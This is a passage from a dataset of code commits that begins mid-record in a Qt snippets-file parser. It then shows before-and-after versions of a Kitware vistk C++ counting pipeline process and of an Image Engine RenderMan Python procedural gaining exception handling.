0;\n                                        for (int i = 0; i < infotip.count(); ++i) {\n                                            if (infotip.at(i) != QChar::ObjectReplacementCharacter) {\n                                                s += infotip.at(i);\n                                                continue;\n                                            }\n                                            if (++count % 2) {\n                                                s += QLatin1String(\"<b>\");\n                                            } else {\n                                                if (infotip.at(i-1) == QChar::ObjectReplacementCharacter)\n                                                    s += QLatin1String(\"...\");\n                                                s += QLatin1String(\"<\/b>\");\n                                            }\n                                        }\n                                        infotip = s;\n                                    }\n                                    item.details = infotip;\n\n                                    item.icon = icon;\n                                    item.order = order;\n                                    item.isSnippet = true;\n                                    m_snippets.append(item);\n                                    break;\n                                }\n\n                                if (xml.isCharacters())\n                                    data += xml.text();\n                                else if (xml.isStartElement()) {\n                                    if (xml.name() != QLatin1String(\"tab\"))\n                                        xml.raiseError(QLatin1String(\"invalid snippets file\"));\n                                    else {\n                                        data += QChar::ObjectReplacementCharacter;\n                                        data += xml.readElementText();\n                                        data += QChar::ObjectReplacementCharacter;\n                                    }\n                                }\n                            }\n                        } else {\n                            xml.skipCurrentElement();\n                        }\n                    }\n                } else {\n                    xml.skipCurrentElement();\n                }\n            }\n            if (xml.hasError())\n                qWarning() << m_fileName << xml.errorString() << xml.lineNumber() << xml.columnNumber();\n            file.close();\n\n            m_lastTrackedFileChange = lastModified;\n        }\n    }\n\n    return m_snippets;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#include \"number_process.h\"\n\n#include <vistk\/pipeline\/config.h>\n#include <vistk\/pipeline\/datum.h>\n#include <vistk\/pipeline\/process_exception.h>\n\n#include <boost\/foreach.hpp>\n\nnamespace vistk\n{\n\nclass number_process::priv\n{\n  public:\n    typedef uint32_t number_t;\n\n    priv(number_t s, number_t e);\n    ~priv();\n\n    number_t const start;\n    number_t const end;\n    number_t current;\n\n    edges_t output_edges;\n\n    static number_t const DEFAULT_START_VALUE;\n    static number_t const DEFAULT_END_VALUE;\n    static config::key_t const START_CONFIG_NAME;\n    static config::key_t const END_CONFIG_NAME;\n    static port_t const OUTPUT_PORT_NAME;\n};\n\nnumber_process::priv::number_t const number_process::priv::DEFAULT_START_VALUE = 0;\nnumber_process::priv::number_t const number_process::priv::DEFAULT_END_VALUE = 100;\nconfig::key_t const number_process::priv::START_CONFIG_NAME = config::key_t(\"start\");\nconfig::key_t const number_process::priv::END_CONFIG_NAME = config::key_t(\"end\");\nprocess::port_t const number_process::priv::OUTPUT_PORT_NAME = process::port_t(\"number\");\n\nnumber_process\n::number_process(config_t const& config)\n  : process(config)\n{\n  priv::number_t start = config->get_value<priv::number_t>(priv::START_CONFIG_NAME, priv::DEFAULT_START_VALUE);\n  priv::number_t end = config->get_value<priv::number_t>(priv::END_CONFIG_NAME, priv::DEFAULT_END_VALUE);\n\n  d = boost::shared_ptr<priv>(new priv(start, end));\n}\n\nnumber_process\n::~number_process()\n{\n}\n\nconfig::keys_t\nnumber_process\n::available_config() const\n{\n  config::keys_t keys;\n\n  keys.push_back(priv::START_CONFIG_NAME);\n  keys.push_back(priv::END_CONFIG_NAME);\n\n  return keys;\n}\n\nconfig::value_t\nnumber_process\n::config_default(config::key_t const& key) const\n{\n  if (key == priv::START_CONFIG_NAME)\n  {\n    return boost::lexical_cast<config::value_t>(priv::DEFAULT_START_VALUE);\n  }\n  if (key == priv::END_CONFIG_NAME)\n  {\n    return boost::lexical_cast<config::value_t>(priv::DEFAULT_END_VALUE);\n  }\n\n  return process::config_default(key);\n}\n\nconfig::description_t\nnumber_process\n::config_description(config::key_t const& key) const\n{\n  if (key == priv::START_CONFIG_NAME)\n  {\n    return config::description_t(\"The value to start counting at\");\n  }\n  if (key == priv::END_CONFIG_NAME)\n  {\n    return config::description_t(\"The value to stop counting at\");\n  }\n\n  return process::config_description(key);\n}\n\nprocess_registry::type_t\nnumber_process\n::type() const\n{\n  return process_registry::type_t(\"number_process\");\n}\n\nvoid\nnumber_process\n::_init()\n{\n  \/\/ Check the configuration.\n  if (d->end <= d->start)\n  {\n    throw invalid_configuration(name(), \"The start value must be greater than the end value\");\n  }\n\n  \/\/ Ensure the output port is connected.\n  if (!d->output_edges.size())\n  {\n    throw missing_connection(name(), priv::OUTPUT_PORT_NAME, \"The \" + type() + \" process is not much use without something out output to\");\n  }\n}\n\nvoid\nnumber_process\n::_step()\n{\n  datum_t dat;\n\n  if (d->current == d->end)\n  {\n    dat = datum::complete_datum();\n  }\n  else\n  {\n    dat = datum::new_datum(d->current);\n\n    ++d->current;\n  }\n\n  BOOST_FOREACH (edge_t& edge, d->output_edges)\n  {\n    edge->push_datum(edge_datum_t(dat, heartbeat_stamp()));\n  }\n\n  process::_step();\n}\n\nvoid\nnumber_process\n::_connect_output_port(port_t const& port, edge_t edge)\n{\n  if (port == priv::OUTPUT_PORT_NAME)\n  {\n    d->output_edges.push_back(edge);\n  }\n\n  process::_connect_output_port(port, edge);\n}\n\nprocess::ports_t\nnumber_process\n::_output_ports() const\n{\n  ports_t ports;\n\n  ports.push_back(priv::OUTPUT_PORT_NAME);\n\n  return ports;\n}\n\nnumber_process::priv\n::priv(number_t s, number_t e)\n  : start(s)\n  , end(e)\n  , current(s)\n{\n}\n\nnumber_process::priv\n::~priv()\n{\n}\n\n} \/\/ end namespace vistk\n<commit_msg>Use the convenience method for pushing data<commit_after>\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#include \"number_process.h\"\n\n#include <vistk\/pipeline\/config.h>\n#include <vistk\/pipeline\/datum.h>\n#include <vistk\/pipeline\/process_exception.h>\n\nnamespace vistk\n{\n\nclass number_process::priv\n{\n  public:\n    typedef uint32_t number_t;\n\n    priv(number_t s, number_t e);\n    ~priv();\n\n    number_t const start;\n    number_t const end;\n    number_t current;\n\n    edges_t output_edges;\n\n    static number_t const DEFAULT_START_VALUE;\n    static number_t const DEFAULT_END_VALUE;\n    static config::key_t const START_CONFIG_NAME;\n    static config::key_t const END_CONFIG_NAME;\n    static port_t const OUTPUT_PORT_NAME;\n};\n\nnumber_process::priv::number_t const number_process::priv::DEFAULT_START_VALUE = 0;\nnumber_process::priv::number_t const number_process::priv::DEFAULT_END_VALUE = 100;\nconfig::key_t const number_process::priv::START_CONFIG_NAME = config::key_t(\"start\");\nconfig::key_t const number_process::priv::END_CONFIG_NAME = config::key_t(\"end\");\nprocess::port_t const number_process::priv::OUTPUT_PORT_NAME = process::port_t(\"number\");\n\nnumber_process\n::number_process(config_t const& config)\n  : process(config)\n{\n  priv::number_t start = config->get_value<priv::number_t>(priv::START_CONFIG_NAME, priv::DEFAULT_START_VALUE);\n  priv::number_t end = config->get_value<priv::number_t>(priv::END_CONFIG_NAME, priv::DEFAULT_END_VALUE);\n\n  d = boost::shared_ptr<priv>(new priv(start, end));\n}\n\nnumber_process\n::~number_process()\n{\n}\n\nconfig::keys_t\nnumber_process\n::available_config() const\n{\n  config::keys_t keys;\n\n  keys.push_back(priv::START_CONFIG_NAME);\n  keys.push_back(priv::END_CONFIG_NAME);\n\n  return keys;\n}\n\nconfig::value_t\nnumber_process\n::config_default(config::key_t const& key) const\n{\n  if (key == priv::START_CONFIG_NAME)\n  {\n    return boost::lexical_cast<config::value_t>(priv::DEFAULT_START_VALUE);\n  }\n  if (key == priv::END_CONFIG_NAME)\n  {\n    return boost::lexical_cast<config::value_t>(priv::DEFAULT_END_VALUE);\n  }\n\n  return process::config_default(key);\n}\n\nconfig::description_t\nnumber_process\n::config_description(config::key_t const& key) const\n{\n  if (key == priv::START_CONFIG_NAME)\n  {\n    return config::description_t(\"The value to start counting at\");\n  }\n  if (key == priv::END_CONFIG_NAME)\n  {\n    return config::description_t(\"The value to stop counting at\");\n  }\n\n  return process::config_description(key);\n}\n\nprocess_registry::type_t\nnumber_process\n::type() const\n{\n  return process_registry::type_t(\"number_process\");\n}\n\nvoid\nnumber_process\n::_init()\n{\n  \/\/ Check the configuration.\n  if (d->end <= d->start)\n  {\n    throw invalid_configuration(name(), \"The start value must be greater than the end value\");\n  }\n\n  \/\/ Ensure the output port is connected.\n  if (!d->output_edges.size())\n  {\n    throw missing_connection(name(), priv::OUTPUT_PORT_NAME, \"The \" + type() + \" process is not much use without something out output to\");\n  }\n}\n\nvoid\nnumber_process\n::_step()\n{\n  datum_t dat;\n\n  if (d->current == d->end)\n  {\n    dat = datum::complete_datum();\n  }\n  else\n  {\n    dat = datum::new_datum(d->current);\n\n    ++d->current;\n  }\n\n  edge_datum_t const edat = edge_datum_t(dat, heartbeat_stamp());\n\n  push_to_edges(d->output_edges, edat);\n\n  process::_step();\n}\n\nvoid\nnumber_process\n::_connect_output_port(port_t const& port, edge_t edge)\n{\n  if (port == priv::OUTPUT_PORT_NAME)\n  {\n    d->output_edges.push_back(edge);\n  }\n\n  process::_connect_output_port(port, edge);\n}\n\nprocess::ports_t\nnumber_process\n::_output_ports() const\n{\n  ports_t ports;\n\n  ports.push_back(priv::OUTPUT_PORT_NAME);\n\n  return ports;\n}\n\nnumber_process::priv\n::priv(number_t s, number_t e)\n  : start(s)\n  , end(e)\n  , current(s)\n{\n}\n\nnumber_process::priv\n::~priv()\n{\n}\n\n} \/\/ end namespace vistk\n<|endoftext|>"}
{"text":"<commit_before>\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#include \"number_process.h\"\n\n#include <vistk\/pipeline_types\/port_types.h>\n\n#include <vistk\/pipeline\/config.h>\n#include <vistk\/pipeline\/datum.h>\n#include <vistk\/pipeline\/process_exception.h>\n\nnamespace vistk\n{\n\nclass number_process::priv\n{\n  public:\n    typedef uint32_t number_t;\n\n    priv(number_t s, number_t e);\n    ~priv();\n\n    number_t const start;\n    number_t const end;\n\n    conf_info_t start_conf_info;\n    conf_info_t end_conf_info;\n\n    edge_group_t output_edges;\n\n    port_info_t output_port_info;\n\n    number_t current;\n\n    static number_t const DEFAULT_START_VALUE;\n    static number_t const DEFAULT_END_VALUE;\n    static config::key_t const START_CONFIG_NAME;\n    static config::key_t const END_CONFIG_NAME;\n    static port_t const OUTPUT_PORT_NAME;\n};\n\nnumber_process::priv::number_t const number_process::priv::DEFAULT_START_VALUE = 0;\nnumber_process::priv::number_t const number_process::priv::DEFAULT_END_VALUE = 100;\nconfig::key_t const number_process::priv::START_CONFIG_NAME = config::key_t(\"start\");\nconfig::key_t const number_process::priv::END_CONFIG_NAME = config::key_t(\"end\");\nprocess::port_t const number_process::priv::OUTPUT_PORT_NAME = process::port_t(\"number\");\n\nnumber_process\n::number_process(config_t const& config)\n  : process(config)\n{\n  priv::number_t start = config->get_value<priv::number_t>(priv::START_CONFIG_NAME, priv::DEFAULT_START_VALUE);\n  priv::number_t end = config->get_value<priv::number_t>(priv::END_CONFIG_NAME, priv::DEFAULT_END_VALUE);\n\n  d = boost::shared_ptr<priv>(new priv(start, end));\n}\n\nnumber_process\n::~number_process()\n{\n}\n\nvoid\nnumber_process\n::_init()\n{\n  \/\/ Check the configuration.\n  if (d->end <= d->start)\n  {\n    throw invalid_configuration_exception(name(), \"The start value must be greater than the end value\");\n  }\n}\n\nvoid\nnumber_process\n::_step()\n{\n  datum_t dat;\n\n  if (d->current == d->end)\n  {\n    dat = datum::complete_datum();\n  }\n  else\n  {\n    dat = datum::new_datum(d->current);\n\n    ++d->current;\n  }\n\n  edge_datum_t const edat = edge_datum_t(dat, heartbeat_stamp());\n\n  push_to_edges(d->output_edges, edat);\n\n  process::_step();\n}\n\nvoid\nnumber_process\n::_connect_output_port(port_t const& port, edge_ref_t edge)\n{\n  if (port == priv::OUTPUT_PORT_NAME)\n  {\n    d->output_edges.push_back(edge);\n\n    return;\n  }\n\n  process::_connect_output_port(port, edge);\n}\n\nprocess::port_info_t\nnumber_process\n::_output_port_info(port_t const& port) const\n{\n  if (port == priv::OUTPUT_PORT_NAME)\n  {\n    return d->output_port_info;\n  }\n\n  return process::_output_port_info(port);\n}\n\nprocess::ports_t\nnumber_process\n::_output_ports() const\n{\n  ports_t ports;\n\n  ports.push_back(priv::OUTPUT_PORT_NAME);\n\n  return ports;\n}\n\nconfig::keys_t\nnumber_process\n::_available_config() const\n{\n  config::keys_t keys = process::_available_config();\n\n  keys.push_back(priv::START_CONFIG_NAME);\n  keys.push_back(priv::END_CONFIG_NAME);\n\n  return keys;\n}\n\nprocess::conf_info_t\nnumber_process\n::_config_info(config::key_t const& key) const\n{\n  if (key == priv::START_CONFIG_NAME)\n  {\n    return d->start_conf_info;\n  }\n  if (key == priv::END_CONFIG_NAME)\n  {\n    return d->end_conf_info;\n  }\n\n  return process::_config_info(key);\n}\n\nnumber_process::priv\n::priv(number_t s, number_t e)\n  : start(s)\n  , end(e)\n  , current(s)\n{\n  port_flags_t required;\n\n  required.insert(flag_required);\n\n  output_port_info = port_info_t(new port_info(\n    port_types::t_integer,\n    required,\n    port_description_t(\"Where the numbers will be available.\")));\n\n  start_conf_info = conf_info_t(new conf_info(\n    boost::lexical_cast<config::value_t>(priv::DEFAULT_START_VALUE),\n    config::description_t(\"The value to start counting at.\")));\n  end_conf_info = conf_info_t(new conf_info(\n    boost::lexical_cast<config::value_t>(priv::DEFAULT_END_VALUE),\n    config::description_t(\"The value to stop counting at.\")));\n}\n\nnumber_process::priv\n::~priv()\n{\n}\n\n}\n<commit_msg>Mark the number_process as complete<commit_after>\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#include \"number_process.h\"\n\n#include <vistk\/pipeline_types\/port_types.h>\n\n#include <vistk\/pipeline\/config.h>\n#include <vistk\/pipeline\/datum.h>\n#include <vistk\/pipeline\/process_exception.h>\n\nnamespace vistk\n{\n\nclass number_process::priv\n{\n  public:\n    typedef uint32_t number_t;\n\n    priv(number_t s, number_t e);\n    ~priv();\n\n    number_t const start;\n    number_t const end;\n\n    conf_info_t start_conf_info;\n    conf_info_t end_conf_info;\n\n    edge_group_t output_edges;\n\n    port_info_t output_port_info;\n\n    number_t current;\n\n    static number_t const DEFAULT_START_VALUE;\n    static number_t const DEFAULT_END_VALUE;\n    static config::key_t const START_CONFIG_NAME;\n    static config::key_t const END_CONFIG_NAME;\n    static port_t const OUTPUT_PORT_NAME;\n};\n\nnumber_process::priv::number_t const number_process::priv::DEFAULT_START_VALUE = 0;\nnumber_process::priv::number_t const number_process::priv::DEFAULT_END_VALUE = 100;\nconfig::key_t const number_process::priv::START_CONFIG_NAME = config::key_t(\"start\");\nconfig::key_t const number_process::priv::END_CONFIG_NAME = config::key_t(\"end\");\nprocess::port_t const number_process::priv::OUTPUT_PORT_NAME = process::port_t(\"number\");\n\nnumber_process\n::number_process(config_t const& config)\n  : process(config)\n{\n  priv::number_t start = config->get_value<priv::number_t>(priv::START_CONFIG_NAME, priv::DEFAULT_START_VALUE);\n  priv::number_t end = config->get_value<priv::number_t>(priv::END_CONFIG_NAME, priv::DEFAULT_END_VALUE);\n\n  d = boost::shared_ptr<priv>(new priv(start, end));\n}\n\nnumber_process\n::~number_process()\n{\n}\n\nvoid\nnumber_process\n::_init()\n{\n  \/\/ Check the configuration.\n  if (d->end <= d->start)\n  {\n    throw invalid_configuration_exception(name(), \"The start value must be greater than the end value\");\n  }\n}\n\nvoid\nnumber_process\n::_step()\n{\n  datum_t dat;\n\n  if (d->current == d->end)\n  {\n    mark_as_complete();\n    dat = datum::complete_datum();\n  }\n  else\n  {\n    dat = datum::new_datum(d->current);\n\n    ++d->current;\n  }\n\n  edge_datum_t const edat = edge_datum_t(dat, heartbeat_stamp());\n\n  push_to_edges(d->output_edges, edat);\n\n  process::_step();\n}\n\nvoid\nnumber_process\n::_connect_output_port(port_t const& port, edge_ref_t edge)\n{\n  if (port == priv::OUTPUT_PORT_NAME)\n  {\n    d->output_edges.push_back(edge);\n\n    return;\n  }\n\n  process::_connect_output_port(port, edge);\n}\n\nprocess::port_info_t\nnumber_process\n::_output_port_info(port_t const& port) const\n{\n  if (port == priv::OUTPUT_PORT_NAME)\n  {\n    return d->output_port_info;\n  }\n\n  return process::_output_port_info(port);\n}\n\nprocess::ports_t\nnumber_process\n::_output_ports() const\n{\n  ports_t ports;\n\n  ports.push_back(priv::OUTPUT_PORT_NAME);\n\n  return ports;\n}\n\nconfig::keys_t\nnumber_process\n::_available_config() const\n{\n  config::keys_t keys = process::_available_config();\n\n  keys.push_back(priv::START_CONFIG_NAME);\n  keys.push_back(priv::END_CONFIG_NAME);\n\n  return keys;\n}\n\nprocess::conf_info_t\nnumber_process\n::_config_info(config::key_t const& key) const\n{\n  if (key == priv::START_CONFIG_NAME)\n  {\n    return d->start_conf_info;\n  }\n  if (key == priv::END_CONFIG_NAME)\n  {\n    return d->end_conf_info;\n  }\n\n  return process::_config_info(key);\n}\n\nnumber_process::priv\n::priv(number_t s, number_t e)\n  : start(s)\n  , end(e)\n  , current(s)\n{\n  port_flags_t required;\n\n  required.insert(flag_required);\n\n  output_port_info = port_info_t(new port_info(\n    port_types::t_integer,\n    required,\n    port_description_t(\"Where the numbers will be available.\")));\n\n  start_conf_info = conf_info_t(new conf_info(\n    boost::lexical_cast<config::value_t>(priv::DEFAULT_START_VALUE),\n    config::description_t(\"The value to start counting at.\")));\n  end_conf_info = conf_info_t(new conf_info(\n    boost::lexical_cast<config::value_t>(priv::DEFAULT_END_VALUE),\n    config::description_t(\"The value to stop counting at.\")));\n}\n\nnumber_process::priv\n::~priv()\n{\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2009-2010, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/     * Neither the name of Image Engine Design nor the names of any\n\/\/       other contributors to this software may be used to endorse or\n\/\/       promote products derived from this software without specific prior\n\/\/       written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"boost\/python.hpp\"\n\n#include <iostream>\n\n#include \"ri.h\"\n\n#if defined(_WIN32)\n#define DLLEXPORT __declspec(dllexport)\n#else\n#define DLLEXPORT\n#endif\n\nusing namespace std;\nusing namespace boost::python;\n\n\/\/\/ We use a static instance of this struct to initialise python when the dso is first loaded.\nstruct PythonInitialiser\n{\n\tPythonInitialiser()\n\t{\n\t\t\/\/ start python\n\t\tPy_Initialize();\n\t\tPyEval_InitThreads();\n\t\t\n\t\t\tmainModule = object( handle<>( borrowed( PyImport_AddModule( \"__main__\" ) ) ) );\n\t\t\tmainModuleNamespace = mainModule.attr( \"__dict__\" );\n\n\t\t\t\/\/ load the IECoreRI and IECore modules so people don't have to do that in the string\n\t\t\t\/\/ they pass to be executed. this also means people don't have to worry about which\n\t\t\t\/\/ version to load. also set the dlopen flags to include RTLD_GLOBAL to avoid the dreaded\n\t\t\t\/\/ cross module rtti errors on linux.\n\t\t\tstring toExecute =\t\"import sys\\n\"\n\t\t\t\t\t\t\t\t\"import ctypes\\n\"\n\t\t\t\t\t\t\t\t\"sys.setdlopenflags( sys.getdlopenflags() | ctypes.RTLD_GLOBAL )\\n\"\n\t\t\t\t\t\t\t\t\"import IECore\\n\"\n\t\t\t\t\t\t\t\t\"import IECoreRI\\n\";\n\n\t\t\thandle<> ignored( PyRun_String( \n\t\t\t\ttoExecute.c_str(),\n\t\t\t\tPy_file_input, mainModuleNamespace.ptr(),\n\t\t\t\tmainModuleNamespace.ptr() ) );\n\n\t\tPyEval_ReleaseThread( PyThreadState_Get() );\n\t}\n\t\n\tobject mainModule;\n\tobject mainModuleNamespace;\n};\n\nstatic PythonInitialiser g_pythonInitialiser;\n\nextern \"C\"\n{\n\nRtPointer DLLEXPORT ConvertParameters( RtString paramstr )\n{\n\treturn new string( paramstr );\n}\n\nRtVoid DLLEXPORT Subdivide( RtPointer data, float detail )\n{\n\tPyGILState_STATE gilState = PyGILState_Ensure();\n\t\n\t\ttry\n\t\t{\n\n\t\t\tstring *i = (string *)data;\n\n\t\t\thandle<> ignored( PyRun_String( i->c_str(), Py_file_input, g_pythonInitialiser.mainModuleNamespace.ptr(),\n\t\t\t\tg_pythonInitialiser.mainModuleNamespace.ptr() ) );\n\n\t\t}\n\t\tcatch( const error_already_set &e )\n\t\t{\n\t\t\tPyErr_Print();\n\t\t}\n\t\tcatch( const std::exception &e )\n\t\t{\n\t\t\tcerr << \"ERROR : Python procedural : \" << e.what() << endl;\n\t\t}\n\t\tcatch( ... )\n\t\t{\n\t\t\tcerr << \"ERROR : Python procedural : caught unknown exception\" << endl;\n\t\t}\n\t\t\n\tPyGILState_Release( gilState );\n}\n\nRtVoid DLLEXPORT Free( RtPointer data )\n{\n\tstring * i = (string *)data;\n\tdelete i;\n}\n\n}\n<commit_msg>Handling exceptions raised during python initialisation, so we get sensible error messages instead of program termination.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2009-2010, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/     * Neither the name of Image Engine Design nor the names of any\n\/\/       other contributors to this software may be used to endorse or\n\/\/       promote products derived from this software without specific prior\n\/\/       written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"boost\/python.hpp\"\n\n#include <iostream>\n\n#include \"ri.h\"\n\n#if defined(_WIN32)\n#define DLLEXPORT __declspec(dllexport)\n#else\n#define DLLEXPORT\n#endif\n\nusing namespace std;\nusing namespace boost::python;\n\n\/\/\/ We use a static instance of this struct to initialise python when the dso is first loaded.\nstruct PythonInitialiser\n{\n\tPythonInitialiser()\n\t{\n\t\t\/\/ start python\n\t\tPy_Initialize();\n\t\tPyEval_InitThreads();\n\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\n\t\t\t\tmainModule = object( handle<>( borrowed( PyImport_AddModule( \"__main__\" ) ) ) );\n\t\t\t\tmainModuleNamespace = mainModule.attr( \"__dict__\" );\n\n\t\t\t\t\/\/ load the IECoreRI and IECore modules so people don't have to do that in the string\n\t\t\t\t\/\/ they pass to be executed. this also means people don't have to worry about which\n\t\t\t\t\/\/ version to load. also set the dlopen flags to include RTLD_GLOBAL to avoid the dreaded\n\t\t\t\t\/\/ cross module rtti errors on linux.\n\t\t\t\tstring toExecute =\t\"import sys\\n\"\n\t\t\t\t\t\t\t\t\t\"import ctypes\\n\"\n\t\t\t\t\t\t\t\t\t\"sys.setdlopenflags( sys.getdlopenflags() | ctypes.RTLD_GLOBAL )\\n\"\n\t\t\t\t\t\t\t\t\t\"import IECore\\n\"\n\t\t\t\t\t\t\t\t\t\"import IECoreRI\\n\";\n\n\t\t\t\thandle<> ignored( PyRun_String( \n\t\t\t\t\ttoExecute.c_str(),\n\t\t\t\t\tPy_file_input, mainModuleNamespace.ptr(),\n\t\t\t\t\tmainModuleNamespace.ptr() ) );\n\t\t\t\t\t\n\t\t\t}\n\t\t\tcatch( const error_already_set &e )\n\t\t\t{\n\t\t\t\tPyErr_Print();\n\t\t\t}\n\t\t\tcatch( const std::exception &e )\n\t\t\t{\n\t\t\t\tcerr << \"ERROR : Python procedural initialiser : \" << e.what() << endl;\n\t\t\t}\n\t\t\tcatch( ... )\n\t\t\t{\n\t\t\t\tcerr << \"ERROR : Python procedural initialiser : caught unknown exception\" << endl;\n\t\t\t}\n\t\t\n\t\tPyEval_ReleaseThread( PyThreadState_Get() );\n\t}\n\t\n\tobject mainModule;\n\tobject mainModuleNamespace;\n};\n\nstatic PythonInitialiser g_pythonInitialiser;\n\nextern \"C\"\n{\n\nRtPointer DLLEXPORT ConvertParameters( RtString paramstr )\n{\n\treturn new string( paramstr );\n}\n\nRtVoid DLLEXPORT Subdivide( RtPointer data, float detail )\n{\n\tPyGILState_STATE gilState = PyGILState_Ensure();\n\t\n\t\ttry\n\t\t{\n\n\t\t\tstring *i = (string *)data;\n\n\t\t\thandle<> ignored( PyRun_String( i->c_str(), Py_file_input, g_pythonInitialiser.mainModuleNamespace.ptr(),\n\t\t\t\tg_pythonInitialiser.mainModuleNamespace.ptr() ) );\n\n\t\t}\n\t\tcatch( const error_already_set &e )\n\t\t{\n\t\t\tPyErr_Print();\n\t\t}\n\t\tcatch( const std::exception &e )\n\t\t{\n\t\t\tcerr << \"ERROR : Python procedural : \" << e.what() << endl;\n\t\t}\n\t\tcatch( ... )\n\t\t{\n\t\t\tcerr << \"ERROR : Python procedural : caught unknown exception\" << endl;\n\t\t}\n\t\t\n\tPyGILState_Release( gilState );\n}\n\nRtVoid DLLEXPORT Free( RtPointer data )\n{\n\tstring * i = (string *)data;\n\tdelete i;\n}\n\n}\n<|endoftext|>"}
